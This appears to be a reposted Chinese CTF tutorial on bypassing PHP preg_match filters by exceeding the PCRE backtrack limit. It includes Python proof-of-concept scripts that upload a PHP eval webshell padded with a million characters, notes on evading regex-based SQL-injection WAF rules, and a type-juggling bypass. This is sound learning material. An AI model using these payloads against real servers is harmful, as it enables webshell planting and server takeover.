PHP利用PCRE回溯次数限制绕过某些安全限制实战案例

目录

一、正则表达式概述

有限状态自动机

匹配输入的过程分别是：

DFA（确定性有限状态自动机）

NFA（非确定性有限状态自动机）

二、回溯的过程

三、 PHP 的 pcre.backtrack_limit 限制利用

例题一

回溯绕过步骤 ：

1、运行结果： 可见无法匹配

2、尝试匹配：依旧无法匹配

3、再次尝试：发现拿到匹配结果

原因：

总结：

1、绕过该正则

例题二

1、利用python语言编写回溯绕过一百万次的脚本

回溯过程模拟：

例题三

文件上传漏洞

1、编写文件上传脚本

2、上传任意一个文件

3、正则回溯

编写回溯脚本

查看并执行python代码是否成功

temp文件出现

使用中国蚁剑进行连接测试

一、正则表达式概述

正则表达式是一个可以被 “有限状态自动机”接受的语言类。

有限状态自动机

        其拥有有限数量的状态，每个状态可以迁移到零个或多个状态，输入字串决定执行哪个状态的迁移。

        而常见的正则引擎，又被细分为 DFA（确定性有限状态自动机）与 NFA（非确定性有限状态自动机）。

匹配输入的过程分别是：

DFA（确定性有限状态自动机）

        从起始状态开始，一个字符一个字符地读取输入串，并根据正则来一步步确定至下一个转移状态，直到匹配不上或走完整个输入
 

NFA（非确定性有限状态自动机）

        从起始状态开始，一个字符一个字符地读取输入串，并与正则表达式进行匹配，如果匹配不上，则进行回溯，尝试其他状态

由于 NFA 的执行过程存在回溯，所以其性能会劣于 DFA，但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎，其中也包括 PHP 使用的 PCRE 库。

二、回溯的过程

<?php
function is_php($data){  return preg_match('/<\?.*[(`;?>].*/is', $data);  
}
<?php eval()if(!is_php($input)) {// fwrite($f, $input); ...
}

题目中的正则 <\?.*[(`;?>].*，假设匹配的输入是 <?php phpinfo();//aaaaa，实际执行流程是这样的：

回溯过程

         在第 4 步的时候，因为第一个 .* 可以匹配任何字符，所以最终匹配到了输入串的结尾，也就是 //aaaaa。但此时显然是不对的，因为正则显示.*后面还应该有一个字符 [(`;?>]。

        所以 NFA 就开始回溯，先吐出一个 a，输入变成第 5 步显示的 //aaaa，但仍然匹配不上正则，继续吐出 a，变成 //aaa，仍然匹配不上……

        最终直到吐出;，输入变成第 12 步显示的 <?php phpinfo()，此时 ，.* 匹配的是 php phpinfo()，而后面的 ; 则匹配上 [(`;?>] ，这个结果满足正则表达式的要求，于是不再回溯。13 步开始向后匹配;，14 步匹配.*，第二个.*匹配到了字符串末尾，最后结束匹配。

        在调试正则表达式的时候，我们可以查看当前回溯的次数

三、 PHP 的 pcre.backtrack_limit 限制利用

PHP 为了防止正则表达式的拒绝服务攻击（reDOS），给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限：

回溯次数上限默认是 100 万

回溯次数超过了 100 万，返回的非 1 和 0，是 false。

preg_match 返回的非 1 和 0，而是 false。

preg_match 函数返回 false 表示此次执行失败了，我们可以调用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);，发现失败的原因的确是回溯次数超出了限制

所以，这道题的答案就呼之欲出了。我们通过发送超长字符串的方式，使正则执行失败，最后绕过目标对 PHP 语言的限制。

对应的 POC 如下：

import requests
from io import BytesIOfiles = {'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}res = requests.post('http://xx.xx.xx.xx/index.php', files=files, allow_redirects=False)
print(res.headers)

四、PCRE 另一种错误的用法

基于 PHP 的 WAF：

例一：

<?php
if(preg_match('/SELECT.+FROM.+/is', $input)) {die('SQL Injection');
}

均存在上述问题，通过大量回溯可以进行绕过。

例二：
 

<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {die('SQL Injection');
}

这里涉及到了正则表达式的「非贪婪模式」。在 NFA 中，如果我输入 UNION/*aaaaa*/SELECT，这个正则表达式执行流程如下：

.+? 匹配到/因为非贪婪模式，所以.+? 停止匹配，而由 S 匹配*S 匹配*失败，回溯，再由.+? 匹配*因为非贪婪模式，所以.+? 停止匹配，而由 S 匹配 aS 匹配 a 失败，回溯，再由.+? 匹配 a...回溯次数随着 a 的数量增加而增加。所以，我们仍然可以通过发送大量 a，来使回溯次数超出 pcre.backtrack_limit 限制，进而绕过 WAF：

15434729359306.png!small (690×30)

例题一

<?php
// greeting[]=Merry Christmas&greeting[]=123
function areyouok($greeting){return preg_match('/Merry.*Christmas/is',$greeting); //正则匹配
}
// greeting[]=123
// $greeting=@$_POST['greeting'];if(!areyouok($greeting)){// NULL != false// Null !== false// null !== false// strposif(strpos($greeting,'Merry Christmas') !== false){   //字符查找，如果查找到返回字符的位置，没有就返回falseecho 'welcome to nanhang. '.'flag{i_Lov3_NanHang_everyThing}';}else{echo 'Do you know .swp file?';}
}else{echo 'Do you know PHP?';
}

回溯绕过步骤 ：

1、运行结果： 可见无法匹配

img

2、尝试匹配：依旧无法匹配

3、再次尝试：发现拿到匹配结果

原因：

此时greeting传递的是数组，元素是123，而 strpos验证的是字符串

img

img

由上可见：在strpos这个对字符串处理的函数中传递数组，那么它将会返回一个NULL

将strpos返回的值NULL与 null !== false 进行对比，如果为真，则进行下去，为假则结束。

当只有一个 = bool(false)，返回值为false,程序执行结束​​​

<?php
var_dump(NULL != false);
?>

当有两个 == 时，返回值为true,程序继续执行

<?php
var_dump(NULL !== false);
?>

知识点补充：

PHP中 比较 0、false、null，'' "

松散比较：使用两个等号 == 比较，只比较值，不比较类型。 严格比较：用三个等号 === 比较，除了比较值，也比较类型。 == 在进行比较的时候，会先将字符串类型转化成相同，再比较

0 == false: bool(true)
0 === false: bool(false)0 == null: bool(true)
0 === null: bool(false)false == null: bool(true)
false === null: bool(false)"0" == false: bool(true)
"0" === false: bool(false)"0" == null: bool(false)
"0" === null: bool(false)"" == false: bool(true)
"" === false: bool(false)"" == null: bool(true)
"" === null: bool(false)

img

总结：

1、绕过该正则

插入代码：

greeting[]=123;

 此时绕过第一个正则

接着会返回

  null !== false;

根据严格不相等原则，此时返回结果是true，因此，代码将会继续执行

例题二

<?php
function areyouok($greeting){return preg_match('/Merry.*Christmas/is',$greeting);
}
​
// 回溯的问题
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){if(!areyouok($greeting)){// strpos string postionif(strpos($greeting,'Merry Christmas') !== false){echo 'Merry Christmas. '.'flag{i_Lov3_NanHang_everyThing}';}else{echo 'Do you know .swp file?';}}else{echo 'Do you know PHP?';}
} else {echo 'fuck array!!!';
}
?>
​
​

思路： 只要将if(!areyouok($greeting))为假，并且含有‘Merry Christmas’字符，回溯一百万次即可绕过

1、利用python语言编写回溯绕过一百万次的脚本

from requests import post payload = {'greeting' : 'Merry Christmas' + 'a' * 1000001
}url = 'http://127.0.0.1/xss_location/dem04.php'res = post(url ,data=payload)

回溯超过一百万次后，绕过正则，此时if(!areyouok($greeting))为假，可见最终打印出'Merry Christmas'，由此可见绕过完成

回溯过程模拟：

正则回溯实例

例题三

文件上传漏洞

<?php
function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data);
}
​
if(empty($_FILES)) {die(show_source(__FILE__));
}
​
$user_dir = md5($_SERVER['REMOTE_ADDR']); 
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) { exit("bad request");
} else {@mkdir($user_dir, 0755); $path = $user_dir . '/' . 'oupeng.php'; //利用move_uploaded_file将临时文件，复制到$pathmove_uploaded_file($_FILES['file']['tmp_name'], $path);
​header("Location: $path", true, 303); 
} 
?>

1、编写文件上传脚本

<?php
echo "<pre>";  //设置输出为格式化输出
var_dump($_FILES);
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Xss-filter</title>
</head>
<body><form action="./file_upload.php" method="post" enctype="multipart/form-data"><input type="file" name="file" id=""><input type="submit" value="submit"></form> 
</body>
</html>

2、上传任意一个文件

 

注：php上传文件时会生成一个临时文件，当文件上传完成时该临时文件将会自动删除

可以通过设置睡眠时间来将临时文件tmp抓到

<?php
sleep(100);
echo "<pre>";  //设置输出为格式化输出
var_dump($_FILES);

3、正则回溯

编写回溯脚本

from requests import post files = {'file' : r'<?php eval($_POST[123]);//' + r'a' * 1000000
}url = 'http://127.0.0.1/xss_location/demo6.php'res = post(url ,files=files, allow_redirects=False)print (res.headers)

查看并执行python代码是否成功

temp文件出现

此时，一句话木马已经写入

使用中国蚁剑进行连接测试

 连接成功，此时已经绕过漏洞。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://xiahunao.cn/news/1380299.html

如若内容造成侵权/违法违规/事实不符，请联系瞎胡闹网进行投诉反馈，一经查实，立即删除！

相关文章

快手在线查询权重网站源码+接口

快手在线查询权重网站源码+接口

简介&#xff1a; 快手在线查询权重源码次快手权重查询优化了算法&#xff0c;修复很多之前抖音遇到的算法上的bug&#xff0c;不再有随机数&#xff0c;每一项都是根据实际情况固定输出&#xff08;包括评分&#xff0c;发作品时间等等&#xff09; 新增用户访问ip&#xff0…
阅读更多...
抖音皮皮虾快手无水印解析软件

抖音皮皮虾快手无水印解析软件

介绍&#xff1a; 有一张图是获取快手cookies的方法&#xff0c;就从&#xff1a;https://live.kuaishou.com/ 登录后取出&#xff0c;随便点个链接都有啦。 网盘下载地址&#xff1a; https://zijiewangpan.com/qfNsBxGVNEs 图片&#xff1a;
阅读更多...
集合数据类型

集合数据类型

非数字型 列表[]&#xff08;其他语言叫数组&#xff09; 注意点&#xff1a;第一个成员的索引编号为0&#xff0c;不能访问不存在的索引编号 # list是列表变量名&#xff0c;列表中有三个成员 list[刘备,曹操,关羽] print(list[0]) print(list[1]) print(list[2]) print(li…
阅读更多...
粘福卡多次扫，绝对真实！！！

粘福卡多次扫，绝对真实！！！

转载于:https://www.cnblogs.com/angusbao/p/10336782.html
阅读更多...
集五福编程c语言,支付宝如何快速集齐5张福卡 支付宝2020集五福攻略技巧

集五福编程c语言,支付宝如何快速集齐5张福卡 支付宝2020集五福攻略技巧

1月13日&#xff0c;支付宝2020集五福活动正式开始&#xff0c;活动一直持续到1月24日&#xff0c;也就是除夕夜。今年支付宝集五福活动延续了往年的玩法&#xff0c;包括AR扫福字、蚂蚁森林浇水得福字等。在此基础上&#xff0c;今年支付宝带来了全新的全家福卡。所有集福卡的…
阅读更多...
支付宝福卡破解——居中的ViewPager

支付宝福卡破解——居中的ViewPager

支付宝福卡功能刚出来&#xff0c;我就对支付宝福卡的UI实现很感兴趣。第一是因为福卡的UI比较新颖而且不久前做的项目跟福卡UI有些类似&#xff0c;第二也是很想知道支付宝这样的大厂会不会更优雅地实现福卡的UI。 1、使用hierarchyviewer查看发现福卡的容器是com.alipay.and…
阅读更多...
支付宝福卡破解——咻一咻的ui怎么实现

支付宝福卡破解——咻一咻的ui怎么实现

通过春节的无节操营销&#xff0c;支付宝的咻一咻功能让许多人手酸过、心酸过&#xff08;没能中敬业福&#xff09;&#xff0c;在吐槽之余好奇的程序员总会猜想这ui怎么实现的呢&#xff1f; 在不看smali代码的情况下应该都会猜想咻一咻的ui实现是这样的&#xff1a;点击一下…
阅读更多...
JAVA实现微博财神卡自动换卡，秒福卡

JAVA实现微博财神卡自动换卡，秒福卡

不废话先看图 QQ20180209-071517.png Untitled2.gif 接下来是步骤 1.提取你新浪微博的cookie,简单吧&#xff01;2.安装JAVA环境 简单吧&#xff0c;自己百度吧&#xff01;3.修改代码重点&#xff0c;敲黑板 一共有两个文件 Posttijiao的49行和HttpLogin的54行,都改成你的co…
阅读更多...
TCP协议的报头格式和滑动窗口

TCP协议的报头格式和滑动窗口

文章目录 TCP报头格式端口号序号和确认序号确认应答&#xff08;ACK&#xff09;机制超时重传机制 首部长度窗口大小报文类型URGACKSYNPSHFINRST 滑动窗口滑动窗口的大小怎么设定怎么变化滑动窗口变化问题 TCP报头格式 端口号 两个端口号比较好理解&#xff0c;通过端口号来找…
阅读更多...
福卡红包V3.0.1全开源解密版

福卡红包V3.0.1全开源解密版

简介&#xff1a; 1、优化响应速度 怎么玩这个福卡红包福卡红包V3.0.1全开源解密版&#xff1a; 1、简单说明 由于红包现在低1块钱&#xff0c;对一般的运营者来说成本不低&#xff0c;除非让商家出钱&#xff0c;所以吸粉并不划算&#xff0c;这个模块我认为适合做广告推广&a…
阅读更多...
高压放大器如何正常使用的呢

高压放大器如何正常使用的呢

高压放大器是一种用于将低电压信号转换成高电压信号的电子设备。它广泛应用于通信、雷达、医疗设备等领域。正确使用高压放大器对于保证设备的正常运行和延长使用寿命至关重要。下面安泰将介绍高压放大器的使用方法和注意事项&#xff0c;帮助您更好地了解如何正确使用高压放大…
阅读更多...
3.2 Tomcat基础

3.2 Tomcat基础

1. Tomcat概述 Tomcat 服务器是一个免费的开放源代码的Web 应用服务器&#xff0c;属于轻量级应用服务器。 Tomcat版本&#xff1a;apache-tomcat-8.5.76。 2.IDEA集成Tomcat 第一步 第二步 第三步 ​ 编辑切换为居中 添加图片注释&#xff0c;不超过 140 字&#xff0…
阅读更多...
【Java多线程】CompletableFuture 异步多线程

【Java多线程】CompletableFuture 异步多线程

1. 回顾 Future 一些业务场景我们需要使用多线程异步执行任务&#xff0c;加快任务执行速度。 JDK5新增了Future接口&#xff0c;用于描述一个异步计算的结果。 虽然 Future 以及相关使用方法提供了异步执行任务的能力&#xff0c;但是对于结果的获取却是很不方便&#xff0…
阅读更多...
Kotlin 基础教程一

Kotlin 基础教程一

Kotlin 基本数据类型 Java | Kotlin byte Byte short Short int Int long Long float Float double Double boolean Boolean c…
阅读更多...
php怎么实现拼图功能,照片拼图效果怎么做 将一张照片制作成拼图的效果

php怎么实现拼图功能,照片拼图效果怎么做 将一张照片制作成拼图的效果

最近的电影少年的你上映几天了&#xff0c;该电影是校园欺凌题材&#xff0c;听说剧情的深度可以给观众带来沉思&#xff0c;看到消息说今天这部电影也是突破六亿票房&#xff0c;也是厉害的了&#xff0c;找个时间真想去看看呢&#xff01;好啦&#xff0c;回归主题&#xff0…
阅读更多...
Gradio：交互式Python数据应用程序的新前沿

Gradio：交互式Python数据应用程序的新前沿

一、说明 什么是Gradio以及如何使用Gradio在Python中创建DataApp或Web界面&#xff1f;使用 Gradio 将您的 Python 数据科学项目转换为交互式应用程序。 摄影&#xff1a;Elijah Merrell on Unsplash Gradio是一个Python库&#xff0c;允许我们快速为机器学习模型创建可定制的接…
阅读更多...
controller层，service层，mapper层，entity层的作用与联系。

controller层，service层，mapper层，entity层的作用与联系。

一. controller层 controller层是用来接受前台数据和返回页面请求信息的&#xff0c;Controller层是不允许直接操作数据库的&#xff01;它就像一个服务员&#xff0c;哪桌客人需要点菜了&#xff0c;就喊一声服务员&#xff01; 对应的&#xff0c;外界需要完成什么样的业务&…
阅读更多...
“一日之际在于晨”，欢迎莅临WAVE SUMMIT上午场：Arm 虚拟硬件早餐交流会

“一日之际在于晨”，欢迎莅临WAVE SUMMIT上午场：Arm 虚拟硬件早餐交流会

8月16日&#xff0c;盛夏的北京将迎来第九届WAVE SUMMIT深度学习开发者大会。在峰会主论坛正式开启前&#xff0c;让我们先用一份精美的元气早餐&#xff0c;和一场“Arm虚拟硬件交流会”&#xff0c;唤醒各位开发小伙伴的开发魂&#xff01; 8月16日&#xff0c;WAVE SUMMIT大…
阅读更多...
雷军爆料骁龙855新机 液冷3.0+跑车造型 媲美iPhone

雷军爆料骁龙855新机 液冷3.0+跑车造型 媲美iPhone

目前各大手机厂商都在着手发布骁龙855新机&#xff0c;个别厂商已经抢先发布了&#xff0c;最受国内用户关注的自然还是小米9了&#xff0c;不过近日&#xff0c;雷军在个人微博爆料&#xff0c;又一款骁龙855新机将会在下周一&#xff0c;也就是3月18日发布剧情介绍。 这款手机…
阅读更多...
互联网专家资源分享（二）

互联网专家资源分享（二）

1. 换位思考 沈阳 前台页面处理&#xff0c;利用CSS和DIV构建页面。面向在校毕业生或者刚参加工作人员 divcss页面处理html控件解析&#xff0c;数据处理&#xff0c;sql语句构造 2. moosefs调优 济南 tcp/ip&#xff0c;精通tcp/ip协议。 精通linux下的tcp/ip开发。&#…
阅读更多...
最新文章

Copyright @ 2022~2023